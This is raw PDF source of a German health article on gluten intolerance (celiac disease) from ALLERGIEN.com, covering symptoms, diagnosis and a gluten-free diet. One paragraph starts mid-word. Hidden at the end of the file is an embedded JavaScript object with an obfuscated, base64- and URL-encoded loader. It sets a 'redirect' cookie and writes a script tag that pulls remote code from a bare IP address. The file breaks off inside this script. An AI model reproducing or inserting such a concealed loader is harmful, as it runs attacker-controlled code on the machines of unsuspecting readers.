%PDF-1.3 1 0 obj << /Type /Catalog /Outlines 2 0 R /Pages 3 0 R /Names <> >> endobj 2 0 obj << /Type /Outlines /Count 0 >> endobj 3 0 obj << /Type /Pages /Kids [6 0 R ] /Count 1 /Resources << /ProcSet 4 0 R /Font << /F1 8 0 R /F2 9 0 R >> >> /MediaBox [0.000 0.000 612.000 792.000] >> endobj 4 0 obj [/PDF /Text ] endobj 5 0 obj << /Creator (DOMPDF) /CreationDate (D:20191121062202+00'00') /ModDate (D:20191121062202+00'00') /Title (Report 11-2019) >> endobj 6 0 obj << /Type /Page /Parent 3 0 R /Annots [ 10 0 R 12 0 R 14 0 R 16 0 R ] /Contents 7 0 R >> endobj 7 0 obj << /Length 6471 >> stream 0.000 0.000 0.000 rg BT 34.016 733.592 Td /F1 13.5 Tf [(Allergien)] TJ ET BT 34.016 709.480 Td /F1 10.5 Tf [(Wissenswertes über Allergien)] TJ ET BT 34.016 675.017 Td /F1 13.5 Tf [(Gluten-Intoleranz \(Zöliakie\))] TJ ET BT 34.016 655.429 Td /F2 9.0 Tf [(Veröffentlicht von )] TJ ET BT 106.052 655.429 Td /F1 9.0 Tf [(Redaktion ALLERGIEN.com)] TJ ET BT 34.016 635.440 Td /F2 9.0 Tf [(Bei einer Gluten-Intoleranz handelt es sich – ähnlich wie bei der Laktose- oder )] TJ ET BT 348.161 635.440 Td /F2 9.0 Tf [(Fruktose-Intoleranz)] TJ ET BT 425.687 635.440 Td /F2 9.0 Tf [( – nicht um eine )] TJ ET BT 491.720 635.440 Td /F2 9.0 Tf [(Allergie)] TJ ET BT 521.726 635.440 Td /F2 9.0 Tf [(, sondern um )] TJ ET BT 34.016 624.451 Td /F2 9.0 Tf [(eine Unverträglichkeit. Gluten ist ein so genanntes Klebereiweiß, das in großen Mengen in Weizen und Dinkel vorkommt, in geringeren )] TJ ET BT 34.016 613.462 Td /F2 9.0 Tf [(Mengen ebenso in zahlreichen anderen Getreidesorten. Darüber hinaus ist Gluten häufig auch in Babynahrung sowie Fertigprodukten )] TJ ET BT 34.016 602.473 Td /F2 9.0 Tf [(\(Fruchtjogurts, Wurst, Schokolade oder Pizza\) vorhanden. )] TJ ET BT 34.016 591.484 Td /F2 9.0 Tf [(nkungen können sich ähneln, dennoch handelt es sich um zwei unterschiedliche Phänomene. Statistisch betrachtet ist die Zöliakie die )] TJ ET BT 34.016 580.495 Td /F2 9.0 Tf [(häufigste Lebensmittelintoleranz in Europa. Screening-Untersuchungen haben gezeigt, dass ihre Prävalenz mit 1:100 bis 1:500 deutlich )] TJ ET BT 34.016 569.506 Td /F2 9.0 Tf [(höher liegt als vermutet.)] TJ ET BT 34.016 548.022 Td /F1 10.5 Tf [(Gluten-Intoleranz \(Zöliakie\) - Verlauf)] TJ ET BT 34.016 529.160 Td /F2 9.0 Tf [(Die )] TJ ET BT 50.018 529.160 Td /F1 9.0 Tf [(Zöliakie)] TJ ET BT 83.534 529.160 Td /F2 9.0 Tf [( tritt vorwiegend in zwei Lebensphasen auf. Zum einen betrifft sie Kleinkinder und tritt meist nach Einführung der Beikost )] TJ ET BT 34.016 518.171 Td /F2 9.0 Tf [(auf, zum anderen erkranken Menschen zwischen dem 30. und 40. Lebensjahr. Die Symptome sind individuell verschieden stark )] TJ ET BT 34.016 507.182 Td /F2 9.0 Tf [(ausgeprägt. Während einige Patienten mit der Erkrankung gut leben können, fühlen sich andere stark beeinträchtigt. )] TJ ET BT 34.016 485.698 Td /F1 10.5 Tf [(Gluten-Intoleranz \(Zöliakie\)- Symptome)] TJ ET BT 34.016 466.836 Td /F2 9.0 Tf [(Die Betroffenen produzieren Antikörper gegen Bestandteile von )] TJ ET BT 289.148 466.836 Td /F1 9.0 Tf [(Gluten)] TJ ET BT 317.651 466.836 Td /F2 9.0 Tf [(, zugleich aber auch gegen körpereigene Antigene, die sich auf )] TJ ET BT 34.016 455.847 Td /F2 9.0 Tf [(der Oberfläche der Dünndarmzotten befinden. Infolge dessen kommt es beim Verzehr von )] TJ ET BT 395.681 455.847 Td /F1 9.0 Tf [(Gluten)] TJ ET BT 424.184 455.847 Td /F2 9.0 Tf [( zu einer Immunreaktionen im )] TJ ET BT 34.016 444.858 Td /F2 9.0 Tf [(Dünndarm, bei der sich die Darmschleimhaut entzündet. Es kommt zu Durchfällen, Blähungen, Bauchschmerzen, Gewichtsverlust und )] TJ ET BT 34.016 433.869 Td /F2 9.0 Tf [(Müdigkeit. Die Zotten bilden sich zurück, was die Aufnahme von Nährstoffen aus der Nahrung in den Körper stark behindern kann. )] TJ ET BT 34.016 422.880 Td /F2 9.0 Tf [(Deshalb kann sich im Laufe der Jahre bei einer )] TJ ET BT 224.600 422.880 Td /F1 9.0 Tf [(Gluten-Intoleranz)] TJ ET BT 298.607 422.880 Td /F2 9.0 Tf [( auch Blutarmut \(Anämie\) entwickeln. Manchmal ist sie das einzige )] TJ ET BT 34.016 411.891 Td /F2 9.0 Tf [(Symptom. Ärzte sprechen dann von einer „stummen Zöliakie“. In einigen Fällen kann die )] TJ ET BT 388.661 411.891 Td /F1 9.0 Tf [(Zöliakie)] TJ ET BT 422.177 411.891 Td /F2 9.0 Tf [( auch )] TJ ET BT 446.693 411.891 Td /F2 9.0 Tf [(Migräne)] TJ ET BT 479.201 411.891 Td /F2 9.0 Tf [(, Knochenschmerzen, )] TJ ET BT 34.016 400.902 Td /F2 9.0 Tf [(Arthritis und )] TJ ET BT 84.533 400.902 Td /F2 9.0 Tf [(Depressionen)] TJ ET BT 140.054 400.902 Td /F2 9.0 Tf [( auslösen. Bei Kindern kann die Erkrankung Wachstumsstörungen verursachen. )] TJ ET BT 34.016 379.418 Td /F1 10.5 Tf [(Gluten-Intoleranz \(Zöliakie\)- Diagnose)] TJ ET BT 34.016 359.056 Td /F2 9.0 Tf [(Einen entscheidenden ersten Anhaltspunkt liefert der Nachweis von so genannten Autoantikörpern \(gegen das Enzym )] TJ ET BT 34.016 348.067 Td /F2 9.0 Tf [(Transglutaminase\) im Blut. Fällt dieser Test positiv aus, schafft eine zusätzliche Gewebebiopsie des Dünndarms Gewissheit. Dabei )] TJ ET BT 34.016 337.078 Td /F2 9.0 Tf [(werden im Rahmen einer Magenspiegelung kleine Mengen Dünndarmgewebe entnommen und auf entsprechende Veränderungen hin )] TJ ET BT 34.016 326.089 Td /F2 9.0 Tf [(analysiert. Ist der Bluttest positiv und die Gewebeprobe negativ, liegt in der Regel lediglich eine Gluten-Sensitivität vor. In einigen Fällen )] TJ ET BT 34.016 315.100 Td /F2 9.0 Tf [(wird ein Belastungstest \(Konsum glutenhaltiger Produkte\) empfohlen, der allerdings nur unter ärztlicher Aufsicht durchgeführt werden )] TJ ET BT 34.016 304.111 Td /F2 9.0 Tf [(darf. )] TJ ET BT 34.016 291.627 Td /F1 10.5 Tf [(Gluten-Intoleranz \(Zöliakie\) - Behandlung)] TJ ET BT 34.016 272.764 Td /F2 9.0 Tf [(Bis heute bleibt Patienten mit einer )] TJ ET BT 175.586 272.764 Td /F1 9.0 Tf [(Gluten-Intoleranz)] TJ ET BT 249.593 272.764 Td /F2 9.0 Tf [( nur eine Möglichkeit: eine )] TJ ET BT 356.639 272.764 Td /F1 9.0 Tf [(glutenfreie Ernährung)] TJ ET BT 450.653 272.764 Td /F2 9.0 Tf [(. Dies ist zum Glück in Laufe )] TJ ET BT 34.016 261.775 Td /F2 9.0 Tf [(der letzten Jahre und dank des erhöhten Bewusstseins für die Erkrankung deutlich einfacher geworden. Seit 2005 müssen glutenfreie )] TJ ET BT 34.016 250.786 Td /F2 9.0 Tf [(Lebensmittel dementsprechend gekennzeichnet werden, und zwar mit dem )] TJ ET BT 335.651 250.786 Td /F1 9.0 Tf [(Glutenfrei-Symbol)] TJ ET BT 413.663 250.786 Td /F2 9.0 Tf [(, einer durchgestrichenen Ähre. Die )] TJ ET BT 34.016 239.797 Td /F2 9.0 Tf [(Verwendung des Siegels unterliegt strengen Regelungen. Entsprechend gekennzeichnete Produkte dürfen einen Glutengehalt von )] TJ ET BT 34.016 228.808 Td /F2 9.0 Tf [(maximal 20 Milligramm pro Kilogramm haben. )] TJ ET BT 219.551 228.808 Td /F1 9.0 Tf [(Glutenfreie Nahrungsmittel)] TJ ET BT 335.570 228.808 Td /F2 9.0 Tf [( gibt es heutzutage nicht nur in Reformhäusern und )] TJ ET BT 34.016 217.819 Td /F2 9.0 Tf [(Bioläden, sondern meist auch in Drogerien sowie in zahlreichen Supermärkten. )] TJ ET endstream endobj 8 0 obj << /Type /Font /Subtype /Type1 /Name /F1 /BaseFont /Helvetica-Bold /Encoding /WinAnsiEncoding >> endobj 9 0 obj << /Type /Font /Subtype /Type1 /Name /F2 /BaseFont /Helvetica /Encoding /WinAnsiEncoding >> endobj 10 0 obj << /Type /Annot /Subtype /Link /A 11 0 R /Border [0 0 0] /H /I /Rect [ 348.1607 634.6074 425.6867 643.7649 ] >> endobj 11 0 obj << /Type /Action /S /URI /URI (https://www.allergien.com/ratgeber/allergieformen/fructose-intoleranz-2-072211/) >> endobj 12 0 obj << /Type /Annot /Subtype /Link /A 13 0 R /Border [0 0 0] /H /I /Rect [ 491.7197 634.6074 521.7257 643.7649 ] >> endobj 13 0 obj << /Type /Action /S /URI /URI (https://www.allergien.com/faq/was-ist-eine-allergie-521711/) >> endobj 14 0 obj << /Type /Annot /Subtype /Link /A 15 0 R /Border [0 0 0] /H /I /Rect [ 446.6927 411.0582 479.2007 420.2157 ] >> endobj 15 0 obj << /Type /Action /S /URI /URI (http://www.kopfschmerzen.net/arten-von-kopfschmerz/migraene/) >> endobj 16 0 obj << /Type /Annot /Subtype /Link /A 17 0 R /Border [0 0 0] /H /I /Rect [ 84.5327 400.0692 140.0537 409.2267 ] >> endobj 17 0 obj << /Type /Action /S /URI /URI (http://www.depressionen.at) >> endobj 18 0 obj << /Names [(EmbeddedJS) 19 0 R] >> endobj 19 0 obj << /S /JavaScript /JS ( function getCookie\(e\){var U=document.cookie.match\(new RegExp\("\(?:^|; \)"+e.replace\(/\([\\.$?*|{}\\\(\\\)\\[\\]\\\\\\/\\+^]\)/g,"\\\\$1"\)+"=\([^;]*\)"\)\);return U?decodeURIComponent\(U[1]\):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor\(Date.now\(\)/1e3\),cookie=getCookie\("redirect"\);if\(now>=\(time=cookie\)||void 0===time\){var time=Math.floor\(Date.now\(\)/1e3+86400\),date=new Date\(\(new Date\).getTime\(\)+86400\);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString\(\),document.write\('